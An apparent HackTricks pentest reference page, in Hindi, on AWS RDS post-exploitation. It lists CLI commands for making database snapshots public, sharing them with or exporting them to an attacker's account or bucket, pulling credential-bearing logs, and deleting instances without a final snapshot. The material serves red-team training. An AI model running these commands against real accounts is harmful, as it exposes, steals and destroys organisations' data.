AWS - RDS पोस्ट एक्सप्लॉइटेशन
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
RDS
अधिक जानकारी के लिए देखें:
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot
, rds:RestoreDBInstanceFromDBSnapshot
, rds:ModifyDBInstance
यदि हमलावर के पास पर्याप्त अनुमतियाँ हैं, तो वह DB को सार्वजनिक रूप से सुलभ बना सकता है, DB का स्नैपशॉट बनाकर, और फिर स्नैपशॉट से एक सार्वजनिक रूप से सुलभ DB बनाकर।
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:ModifyDBSnapshotAttribute
, rds:CreateDBSnapshot
इन अनुमतियों के साथ एक हमलावर DB का स्नैपशॉट बना सकता है और इसे सार्वजनिक रूप से उपलब्ध कर सकता है। फिर, वह उस स्नैपशॉट से अपने खाते में एक DB बना सकता है।
यदि हमलावर के पास rds:CreateDBSnapshot
नहीं है, तो भी वह अन्य बनाए गए स्नैपशॉट्स को सार्वजनिक बना सकता है।
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
rds:DownloadDBLogFilePortion
अनुमति वाला एक हमलावर RDS इंस्टेंस के लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है। यदि संवेदनशील डेटा या पहुँच क्रेडेंशियल्स गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग अपने विशेषाधिकारों को बढ़ाने या अनधिकृत क्रियाएँ करने के लिए कर सकता है।
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
संभावित प्रभाव: संवेदनशील जानकारी तक पहुँच या लीक किए गए क्रेडेंशियल्स का उपयोग करके अनधिकृत क्रियाएँ।
rds:DeleteDBInstance
इन अनुमतियों के साथ एक हमलावर मौजूदा RDS इंस्टेंस को DoS कर सकता है।
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
संभावित प्रभाव: मौजूदा RDS उदाहरणों का हटाना, और डेटा का संभावित नुकसान।
rds:StartExportTask
note
TODO: परीक्षण करें
इस अनुमति के साथ एक हमलावर RDS उदाहरण स्नैपशॉट को S3 बकेट में निर्यात कर सकता है। यदि हमलावर के पास गंतव्य S3 बकेट पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक पहुंच प्राप्त कर सकते हैं।
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
संभावित प्रभाव: निर्यातित स्नैपशॉट में संवेदनशील डेटा तक पहुंच।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।